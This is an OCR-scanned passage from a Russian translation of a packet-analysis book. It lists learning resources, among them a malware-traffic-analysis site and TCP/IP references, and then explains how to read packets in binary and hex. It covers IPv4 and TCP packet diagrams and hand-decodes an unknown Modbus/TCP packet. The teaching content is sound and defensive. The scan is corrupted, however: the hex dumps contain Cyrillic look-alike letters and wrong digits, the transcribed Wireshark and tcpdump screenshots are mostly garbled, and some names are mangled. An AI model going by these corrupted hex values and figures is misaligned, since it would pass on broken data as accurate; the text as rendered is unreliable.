Моим излюбленным ресурсом по перехвату пакетов, связанных с наруше

нием сетевой безопасности, является веб-сайт МТА (Malware Traffic Analysis -
анализ вредоносного трафика) Бреда Дункана. На своем сайте Бред публикует 

несколько раз в неделю примеры перехвата пакетов, содержащие цепочки за

ражения вредоносным кодом. Эти примеры дополняются соответствующим 

двоичным представлением вредоносного кода и описанием того, что проис

ходит при заражении им. Если вы стремитесь приобрести опыт и навыки в 

выявлении фактов заражения вредоносным кодом, а также изучить современ

ные методики применения вредоносного кода, начните с загрузки этих при

меров перехвата пакетов и попытайтесь разобраться в них. Посетить веб-сайт 

МТА можно по адресу http://www.malware-traffic-analysis.net/ или же сле
дить за сообщениями Бреда о последних обновлениях примеров перехвата па

кетов в Twitter по адресу @malware _ traffic. 

Веб-сайт IANA 
Администрация адресного пространства Интернета (IANA - Internet 

Assigned Numbers Autlюrity), доступная по адресу http://www. iana. org/, осу
ществляет надзор над распределением IР-адресов и присваиванием номеров 

портов в Северной Америке. На веб-сайте этой организации предоставляет

ся ряд ценных справочных систем, позволяющих находить номера портов, 

просматривать сведения о доменных именах верхнего уровня и переходить 

по ссылкам на сопутствующие веб-сайты для поиска и просмотра докумен

тов RFС. 

Иллюстрированная серия по протоколам TCP/IP 

Ричарда У. Стивенса 

Иллюстрированная серия ТСР /IP Illustrated Ричарда У. Стивенса (W. Richard 
Stevens), вышедшая в издательстве Addison-Wesley в 1994-1996 гr., счита

ется настольной книгой по стеку протоколов ТСР /IP многими из тех, кто 



постоянно занимается диагностикой сетей на уровне пакетов. Второе издание 

первого тома из этой серии, написанное Стивенсом в соавторстве с доктором 

Кивеном (Dr. Кеvеп) и Р. Фоллом (R. Fall), увидело свет в 2012 году. 

Руководство по стеку протоколов TCP/IP 
Книга The ТСР //Р Guide Чарльза Козьерока ( Chaгles Kozierok, издательство 

No Starch Press, 2005 г.) служит еще одним справочным пособием и полезным 
источником информации по стеку протоколов ТСР /IP. В этом руководстве 
объемом более 1600 страниц очень подробно и с многочисленными наглядны
ми иллюстрациями описаны особенности работы протоколов ТСР /IP. 
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ИНТЕРПРЕТАUИЯ ПАКЕТОВ 

В этом приложении рассматриваются способы пред

ставления пакетов. В нем описываются полностью ин

терпретируемые и шестнадцатеричные представления 

пакетов, а также порядок толкования и обращения к значе

ниям из пакетов с помощью схем пакетов. 

Имеется немало программных средств для автоматической интерпре

тации данных из пакетов, что дает возможность проводить анализ пакетов, 

даже не зная материала этого приложения. Но если уделить время изучению 

данных из пакетов и их структуры, то можно лучше понять, каким образом па

кеты автоматически анализируются в таких инструментальных средствах, как 

Wiresl1ark. Чем меньше уровень абстракции между вами и данными, которые 
вы анализируете, тем лучше. 

Представление пакетов 
Пакеты могут быть представлены самыми разными способами для их по

следующей интерпретации. Исходные данные из пакета могут быть представ

нулей 



01100000010100110101110000001010110000010000000000 

01000000000000001000110000010 

11010101101110000000000000000000000000000000000000 

0000010000001000000000001011 

01101000000000000010000001100000000000000000000000 

10000000100000000010000000010 

Двоичные числа представляют цифровую информацию на самом низком 

из возможных уровней, где 1 обозначает наличие электрического сигнала, а 
О - его отсугствие. Каждая цифра обозначает отдельный бит, а восемь бит -
отдельный байт. Но двоичные данные крайне неудобны для чтения и интер

претации, и поэтому они обычно преобразуются в шестнадцатеричные, т.е. в 

определенное сочетание букв и цифр по основанию 16. Приведенный выше 
пакет в шестнадцатеричном виде выглядит следующим образом: 

4500 0034 40f2 4000 8006 535с aclO 1080 

4a7d 5f68 0646 0050 7с23 5аЬ7 0000 0000 

8002 2000 ОЬЗО 0000 0204 05Ь4 0103 0302 

0101 0402 

В шестнадцатеричной системе счисления для представления отдельных 

значений применяются числа от О до 9 и буквы от А до F. Это один из самых 
распространенных способов представления пакетов, поскольку он краток и 

легко преобразуется в более элементарную двоичную форму. В шестнадцате

ричном виде отдельный байт, состоящий из восьми бит, представлен двумя 

символами. Каждый символ в байте обозначает полубайт (т.е. четыре бита), 

причем значение слева представляет старший полубайт, а значение справа -
младший полубайт. В рассматриваемом здесь примере пакета это означает, что 

первый байт представлен шестнадцатеричным числом 45, где старший полу

байт обозначен цифрой 4, а младший - цифрой 5. 
Положение байтов в пакете обозначается в виде смещения относительно 

его начала, или нулевого смещения. Следовательно, первый байт в пакете ( 45) 
находится на позиции ОхОО, второй байт (00) - на позиции OxOl, третий байт 
(00) - на позиции Ох02 и т.д., где Ох обозначает используемое шестнадцате

ричное представление. Чтобы обозначить положение, охватывающее боль

ше одного байта, после двоеточия указывается количество дополнительных 

байтов в числовом виде. Например, положение первых четырех байтов ( 4500 
0034) из рассматриваемого здесь примера пакета обозначается как ОхОО: 4. 
Приведенное здесь пояснение понадобится далее в разделе "Интерпретация 

неизвестного пакета", где описывается порядок интерпретации неизвестных 

протоколов по схемам пакетов. 



ii!Цф!рМ!Ш!I Когда люди пытаютс.я анализироватъ фрагменты пакетов, то неред

ко совершают ошибку, забывая начинатъ отсчет с нуля. Привыкнутъ к 

этому действителъно нелегко, посколъку болъшинство людей приучены 

начинатъ отсчет с единицы. И хотя я уже давно занимаюсъ разбором 

пакетов, тем не менее, совершаю подобную ошибку до сих пор. И самый 

лучший совет, который я мог бы датъ в этом отношении, - считатъ на 

палъцах. На первый взгляд такой совет кажете.я zлупъ~.м, но на самом 

деле стыдитъс.я считатъ на палъцах не стоит, особенно если это пом~ 

гает найти правилъный ответ. 

На более высоком уровне инструментальное средство вроде Wiresl1ark мо
жет представить пакет в полностью интерпретированном виде, используя 

рассматриваемый далее интерпретатор протоколов. Так, рассмотренный ра

нее пакет может быть представлен в Wireshark полностью интерпретирован
ным , как показано на рис. Б.1. 

10.0000001 2Jti 16.'. 7•.IlS.~10ol 1CPniН60Ь-60 /')YNJ Srq~o Wtn::819) ttn:O r-A:»:14t' w ." 1iA<l<_.PНc.~i:::;l 
00 r:rame 1: 66 Ьyt.es on w1re (528 bits), 66 Ьyt:es ca.p1:ured (S28 blts) 
!В пtм!rnet II, src: Irrte1coг_Sb:7d:4~ (00:21:6.t:Sb:7d:4a), ost: D-LinkJ1:99:4c (00;05:5d:21:99;4c) 
W Intern@t Protocol version 4, src: 172.16.16.128 (172.16.16.128). ost: 74.125.95.104 (74.125.95.104) 
Е:1 ~r r t : r --:-

source Рап: lбОб (1606) 
D@st1nation Port: 80 (80) 
[streeut index: О] 

[ТСР Segment Len: О] 

S@quence m.1tаЬег: О (rl!lative sequ@nc.@ nшnЬег) 
Acknowl edg•ent nullЬer: О 
нeader tenqth: 32 bytes 

~t~~nd~ow:!21:s~iz~•~v~•l~uШe:~s~1~92~~1!!11!Z:t~I::::::::::-:::::::::::::::::::::::::::::::::::~:::::::::::::::::::::::::::::::::~ 
(C;ilcul~ad window sizE: 8102) 

~- checksum: омоЬЗО [va11dat1on d1si11Ьled] 
urgent pointer: о 

Ш Op'tions: (12 bytes), мcuciinum se:gmEnt size, No-Opt!:ra.tion (NOP), window scale, No-Opeг;ition (НОР), No-Opt!tation (NOP), SACK per•itted 

0000 00 os Sd 21 99 4С 00 21 ба Sb 7d 4а 08 00 45 00 
0010 00 34 40 f2 40 00 80 06 SJ Sc ас 10 10 80 4а 7d 

gg~g ~ь gg g~ ~~ ~ ~~ ~ ~; ~ ~ ~ ~ g? g~ g1 
0040 04 01 

•• ] 1 • L. ! j[}J .. Е. 

·••·•· .. S\ .... J} _h.J:::llillt z 
.. о ... 

Рис. Б. 1. Пакет, полностью интерпретированный в Wireshark 

Сведения о пакете отображаются в Wireshark с помощью описательных 
меток. Пакеты не содержат подобные метки, но их данные преобразуются в 

конкретный формат, указанный в стандарте на сетевой протокол. Полная ин

терпретация пакета означает чтение данных по стандарту на протокол и их 

разделение на размечаемый описательными метками, удобочитаемый текст. 

Wiresl1ark и аналогичные инструментальные средства способны полностью 
интерпретировать данные из пакетов, поскольку в них встроены интерпре

таторы протоколов, определяющие положение, длину и значения в отдель

ных полях заголовков сетевых протоколов. Например, пакет, приведенный 

на рис. Б.1, может быть разделен на четыре части согласно протоколу ТСР, 

где отдельные поля и их значения обозначены описательными метками. Так, 

меткой Source Port отмечено поле, где находится десятичное значение 1606, 
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обозначающее порт отправителя. Благодаря этому упрощается поиск инфор

мации, которая требуется для проведения анализа. И всякий раз, когда появ

ляется такая возможность, она используется как самый эффективный способ 

достижения цели, поставленной при анализе пакетов. 

И хотя в состав Wiresl1ark входят буквально тысячи интерпретаторов про
токолов, в ходе анализа перехваченных пакетов могут встретиться такие 

протоколы, интерпретировать которые в Wireslыrk невозможно, посколь

ку они неизвестны. Такое нередко случается с протоколами, используемыми 

отдельными производителями оборудования, которые не находят широкого 

применения, а также со специальными протоколами, используемые во вредо

носном программном обеспечении. В подобных случаях пакеты оказываются 

интерпретированными частично. Именно поэтому в нижней части экрана 

Wiresl1ark исходные данные из пакета по умолчанию отображаются в шестнад
цатеричном виде (см. рис. Б.1). 

Чаще всего программы, работающие в режиме командной строки (напри

мер, утилита tcpdump), не обладают столь большим разнообразием интерпре
таторов протоколов и поэтому в них исходные данные из пакетов отобража

ются в шестнадцатеричном виде. Это особенно справедливо для более слож

ных протоколов уровня приложений, которые труднее поддаются синтакси

ческому анализу. Следовательно, частично интерпретированные пакеты счи

таются нормой, когда применяются подобные инструментальные средства. 

Характерный пример применения утилиты tcpdump для интерпретации дан
ных из пакета приведен на рис. Б. 2. 

1 Ьash 

64:45:53.927963 IP 192.168 . ll~йi.2014 > 192 : 16B~110.138.S02: Flags (Р . ), seq 1104341702 : 1104341714, ack 37762 
64910, w!n 64710, len~h 12 

ехе0ее: 4588 0034 8~fd 4000 8006 1068 с0а8 6•83 
0хее1е: c0at 6•8• 081• e1f6 41d2 еас6 •115 3асе 
ехе020: 501& fcc6 8032 0еее ем1 ееее 000& 0103 
8х8830: 0001 0е01 

Рис. Б.2. Пакеты, частично интерпретированные в tcpdump 

Работая с частично интерпретированными пакетами, приходится при

бегать к изучению структуры заголовков пакета на более фундаментальном 

уровне. Wireshark, tcpdump и большинство других инструментальных средств 
допускают такую возможность, отображая исходные данные из пакета в шест

надцатеричной форме. 

Применение схем пакетов 
Как пояснялось в главе 1, "Анализ пакетов и основы организации сетей" , 

в пакете представлены данные, отформатированные согласно стандартам 



сетевых протоколов. Но поскольку в наиболее употребительных протоколах 

данные форматируются в пакетах особым образом, чтобы аппаратные и про

граммные средства могли интерпретировать эти данные, в пакетах должны 

точно соблюдаться правила форматирования. Такое форматирование можно 

обозначить и пользоваться им для интерпретации данных из пакетов с помо

щью схем пакетов. Схема пакета - это графическое представление пакета, ко

торое позволяет аналитику сопоставлять байты из пакета с полями, применя

емыми в любом заданном протоколе. В схеме, полученной из документа RFC, 
в котором приведена спецификация протокола, отображаются поля, присут

ствующие в протоколе, их длина и порядок следования. 

Рассмотрим в качестве примера схему пакета протокола 1Pv4, упоминавшу
юся в главе 7, "Протоколы сетевого уровня", и представленную в качестве на
поминания на рис. Б.3. 

Межсетевой протокоn версии 4 (1Pv4) 

Смещение Октет о 1 2 1 3 

Октет Бит 0-3 1 4-7 8-15 16-18 1 19-23 1 24-31 

о о Версия 1 .JМ::~:ка Тип спужбы Общаядnина 

4 32 Идентификация Фnаги 1 Смещение фрагмента 

8 64 Время жизни Протокоn Контроnьная сумма загоnовка 

12 96 IР-адрес отправитеnя 

16 128 IР-адрес поnучатеnя 

20 160 Параметры 

24+ 192+ Данные 

Рис. 6.3. Схема пакета протокола /Pv4 

На этой схеме по горизонтали обозначены отдельные двоичные разряды, 

или биты, пронумерованные от О до 31. В свою очередь, биты сгруппированы 

в 8-разрядные байты, пронумерованные от О до 3. А по вертикали отдельные 
биты и байты обозначены рядами с описательными метками, причем каждый 

ряд соответствует одной из 32-разрядных (или 4-байтовых) частей пакета. Для 

определения положения конкретного поля, нужно сначала определить сме

щение его 4-байтовой части по вертикали, в которой находится это поле, а 

затем прибавить к этому значению горизонтальное смещение. В первом ряду 

расположены первые четыре байта пакета (смещения 0-3, обозначенные со

ответствующими метками по горизонтали). Во втором ряду расположены сле

дующие четыре байта (смещения 4-7); их смещения также могут быть отсчи

таны по горизонтали. В данном случае отсчет начинается с байта 4, который 
соответствует нулевому смещению по горизонтали. Затем следует байт 5, т.е. 
первый байт по горизонтали, и т.д. 



Например, по схеме пакета можно определить, что для протокола 1Pv4 в 
байте со смещением OxOl расположено поле Туре of Service (Тип службы). 

Для его поиска нам нужно взять первый ряд (ему соответствует нулевое сме

щение в пакете) и перейти от нулевого к первому байту этого ряда. В качестве 

еще одного примера рассмотрим байт со смещением Ох08, которому соответ

ствует поле Time to Live (Время жизни). По вертикали можно определить, что 

байт со смещением 8 оказывается в третьем ряду сверху (там же находятся 
байты со смещением 8-11). А по горизонтали восьмому байту пакета, соответ
ствует нулевое смещение в третьем ряду. Поскольку байт 8 расположен пер
вым в третьем ряду, то он оказывается в нулевом столбце по горизонтали и 

ему соответствует поле Тiше to Live. 

Некоторые поля, в том числе поле Source IP Address (IР-адрес отправите

ля), занимают несколько байт, как следует из обозначения Ох0С:4 (в десятич

ной форме 12: 4), а часть полей могут быть разделены на полубайты. Приме

ром тому служит байт со смещением ОхОО, в старшем полубайте которого рас

положено поле Version, а в младшем полубайте - поле Header Lenqth (Длина 

заголовка). В байте со смещением ОхОб содержится еще больше информации, 

поскольку отдельные его биты служат для представления конкретных полей. 

Если в поле находится единственное двоичное значение, то оно зачастую на

зывается флагом. Примерами тому служат поля Reserved (Зарезервировано), 

Don' t fraqment (Не фрагментировать) и Моrе Fraqments (Дополнительные 

фрагменты) в заголовке протокола 1Pv4. Флаг может принимать только двоич
ное значение 1 (истина) или О (ложь), а следовательно, он считается "установ

ленным", если его значение равно 1. Конкретное значение, соответствующее 

установленному флагу, зависит от спецификации сетевого протокола и полей 

в его заголовке. 

Рассмотрим еще один пример схемы, приведенной на рис. Б.4. Мы ее уже 

рассматривали в главе 8, "Протоколы транспортного уровня". 

Протокол управления передачей (ТСР) 

Смещение Октет о 1 2 3 

Октет Бит 0-3 1 4-7 8-15 16-23 24-31 

о о Порт отправителя Порт получателя 

4 32 Порядковый номер 

8 64 Номер подтверждения 

12 % См~~: 1 Зарезервировано Флаги Размер окна 

16 128 Контрольная сумма Указатель срочности 

20+ 160+ Параметры 

Рис. Б.4. Схема пакета протокола ТСР 



На этой схеме показана структура заголовка пакета протокола ТСР. Глядя 

на нее, можно найти ответы на многие вопросы о пакете ТСР, даже не зная 

назначения протокола ТСР. Рассмотрим в качестве примера заголовок пакета 

ТСР, приведенный ниже в шестнадцатеричной форме. 

0646 0050 7с23 5аЬ7 0000 0000 8002 2000 

ОЬ30 0000 0204 05Ь4 0103 0302 0101 0402 

Используя схему пакета можно идентифицировать и интерпретировать от

дельные поля из этого заголовка. В частности, можно определить следующее. 

• Номер порта отправителя указан в позиции ОхОО : 2 и имеет шестнадца
теричное значение Ох0646 (десятичное значение 1606). 

• Номер порта получателя указан в позиции Ох02 : 2 и имеет шестнадцате
ричное значение Ох0050 (десятичное значение 80). 

• Длина заголовка указана в поле Data Offset (Смещение данных), а точ

нее - в старшем полубайте со смещением 12 в десятичной форме и име
ет шестнадцатеричное значение 80. 

А теперь применим все описанное выше для интерпретации неизвестного 

пакета. 

Интерпретация неиэвестноrо пакета 
Ранее на рис. Б.2 был приведен частично интерпретированный пакет. Про

анализировав его проинтерпретированную часть, можно убедиться, что это 

пакет протокола ТСР /IP, переданный из одного устройства к другому в одной 
и той же сети. Но, помимо этого, нельзя ничего больше узнать о переданных в 

нем данных. Ниже приведена полная шестнадцатеричная форма вывода этого 

пакета. 

4500 0034 8bfd 4000 8006 1068 с0а8 6е83 

с0а8 6е8а 081а Olf 6 41d2 еас6 е115 3асе 

5018 fcc6 0032 0000 OOdl 0000 0006 0103 

0001 0001 

Как показывает быстрый подсчет, этот пакет состоит из 52 байт. По схе
ме данного пакета для IР-заголовка можно определить, что обычная длина 

этого заголовка составляет 20 байт. В этом можно убедиться, проанализиро
вав значение длины заголовка в младшем полубайте, расположенном со сме

щением ОхОО. Из схемы пакета для ТСР-заголовка следует, что его длина так

же составляет 20 байт, если отсутствуют дополнительные параметры, а они 



действительно отсугствуют (подробнее дополнительные параметры протоко

ла ТСР рассматривались в главе 8, "Протоколы транспортного уровня"). Это 
означает, что первые 40 байт в приведенной выше шестнадцатеричной форме 
анализируемого здесь пакета относятся к данным, уже интерпретированным 

согласно протоколов ТСР и IP. Следовательно, интерпретировать осталось 
лишь 12 байт, как показано ниже. 

OOdl 0000 0006 0103 0001 0001 

Это затруднение может поставить в тупик, если не знать, как интерпрети

ровать пакеты. Но вы уже знаете, как применять схемы пакетов к неинтер

претированным байтам. В данном случае из данных, интерпретированных по 

протоколу ТСР, следует, что местом их на:шачения является порт 502. И хотя 

просмотр портов, употребляемых в сетевом трафике, считается ненадежным 

методом "расшифровки" неинтерпретированных данных, тем не менее, он 

может стать неплохой отправной точкой для дальнейшей интерпретации не

известного пакета. Достаточно произвести быстрый поиск в Google, чтобы 
выяснить, что порт 502 чаще всего употребляется в протоколе Modbus over 
ТСР, который обычно применяется в сетях ICS (Industrial Coнtrol System - си

стема управления производственными процессами). В этом можно убедиться, 

сравнив шестнадцатеричную форму вывода анализируемого здесь пакета со 

схемой пакета по протоколу Modbus over ТСР, приведенной на рис. Б.5. 

Протокол Modbus over ТСР 

Смещение Октет о 1 2 3 

Октет Бит 0-7 8-15 16-23 24-31 

о о Идентификатор транзакции Идентификатор протокола 

4 32 Длина Идентификатор блока Код функции 

8+ 64+ Переменная 

Рис. Б.5. Схема пакета по протоколу Modbus over ТСР 

Эта схема пакета была составлена на основании сведений, полученных из 

руководства по реализации протокола Mo<lЬus, доступного 110 адресу http: // 
www.modbus.org/docs/Modbus_Messaging Implementation_Guide_Vl Ob.pdf. 
Как следует из этой схемы пакета, заголовок пакета должен быть длиной 

7 байт, включая поле Len9th (Длина), расположенное на позиции Ох04: 2 отно

сительно начала заголовка. Отсчитывая от этой позиции, мы дойдем до шест

надцатеричного значения 0006 (т.е. десятичного значения 6), которое обо
значает, что после поля Len9th должно быть б байт. И это именно так и есть. 



Следовательно, интерпретируемые здесь данные действительно относятся к 

протоколу Modbus over ТСР. 
Сравнивая эту схему пакета с полной шестнадцатеричной формой его вы

вода, можно получить следующие сведения. 

• Поле 'l'ransaction Identifier (Идентификатор транзакции) находится 
на позиции Ох00:2 и содержит шестнадцатеричное значение OOdl. Это 
поле служит для объединения запроса в одну пару с ответом. 

• Поле Protocol Identifier (Идентификатор протокола) находится на 
позиции Ох02: 2 и содержит шестнадцатеричное значение 0000. Это 
поле служит для обозначения протокола и его значение соответствует 

протоколу Mo<lbus. 

• Поле Length находится на позиции Ох04: 2 и содержит шестнадцатерич
ное значение 0006. Это поле служит для обозначения длины данных в 
пакете. 

• Поле 'Onit Identifier (Идентификатор блока) находится на позиции 
Ох06 и содержит шестнадцатеричное значение 01. Это поле служит для 
внутрисистемной маршрутизации. 

• Поле Function Code (Код функции) находится на позиции Ох07 и содер
жит шестнадцатеричное значение ОЗ. Это поле служит для обозначения 

функции Read Holding Registers (Чтение регистров временного хране
ния), предназначенной для чтения значений данных из системы. 

• Принимая во внимание код функции З, в анализируемом здесь паке

те следует ожидать еще два поля данных. В частности, поля Reference 
NumЬer (Номер ссылки) и Word Count (Количество слов) находятся на по
зиции Ох08: 4, и каждое из них содержит шестнадцатеричное значение 
0001. 

Таким образом, рассматриваемый здесь неизвестный пакет может быть 

полностью интерпретирован в контексте протокола Modlщs. Полученных в 

итоге сведений должно быть достаточно для дальнейшей диагностики систе

мы, отвечающей за данный пакет. Рассмотренный здесь пример наглядно по

казывает, как следует подходить к интерпретации неизвестного протокола и 

анализу неинтерпретированного пакета, используя схемы протоколов даже в 

том случае, если раньше вообще не приходилось сталкиваться с такими про

токолами, как Modbus. 
На практике лучше всего учитывать уровень абстракции, существующий 

между вами и анализируемыми данными. Это помогает принимать более 

взвешенные и грамотные решения и позволяет работать с пакетами в са

мых разных ситуациях. Я сам не pa:J оказывался в таких ситуациях, когда для 
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анализа пакетов мог пользоваться только инструментальными средствами 

вроде tcpdump, работающими в режиме командной строки. А поскольку боль
шинство подобных средств испытывает недостаток в анализаторах мноmх 

протоколов седьмого уровня, то умение разбирать вручную отдельные байты 

в интерпретируемых пакетах имеет решающее значения для успешного ана

лиза пакетов. 

leipЩ!pMiiiii Однаждь~ мой ко.л.лега по работе помогм в разрешении чрезвычайной 

ситуации в среде со строгими мерами защиты. Он был допущен к про

смотру данных, которые требовмосъ проаНОJtизuрова:тъ, но не к самой 

систR..ме, где они хранились. За время, которое ему было предоставлено, 

он мог вывести пакеты только из отдельных димогов. И благодаря 

тому, что он знал структуру пакетов и порядок их интерпретации, 

ему удмосъ найти нужную информацию в выведенных данных. Безус

ловно, это был длительный процесс подобно студеной тягучей массе, 

медленно стекающей по замерзлой ветке. И хотя это крайний случаu, 

тем не менее, он наглядно показывает, насколько важно знать и уметь 

полъзоват:ься. нестандартными методами анш~иза пакетов независимо 

от универсмьных средств. 

По всем перечисленным выше причинам полезно уделять время разбору 

пакетов вручную, чтобы приобрести опыт разносторонней их интерпрета

ции. Приобретя достаточный опыт интерпретации пакетов вручную, я рас

печатал несколько наиболее употребительных схем пакетов на отдельных 

листах, скрепил из вместе и всегда держу под рукой на своем рабочем месте. 

Кроме того, я храню их в цифровом виде на своем переносном и планшетном 

компьютерах для быстрой справки в поездке. Для большего удобства я вклю

чил несколько наиболее употребительных схем пакетов в архивный файл 

формата ZIP, содержащий файлы перехвата из прилагаемых к этой книге и до
ступный по адресу ht tps: / /www.nostarch.com/packetanal ysisЗ /. 

Заключительные соображения 
В этом приложении было показано, как интерпретировать данные из паке

тов в самых разных форматах и как пользоваться схемами пакетов для разбо

ра вручную данных, не интерпретированных в пакете. Приобретя основные 

знания и навыки интерпретации данных из пакетов вручную, вы не будете 

больше испытывать трудности при анализе пакетов, какими бы инструмен

тальными средствами вы ни пользовались для просмотра данных из пакетов. 
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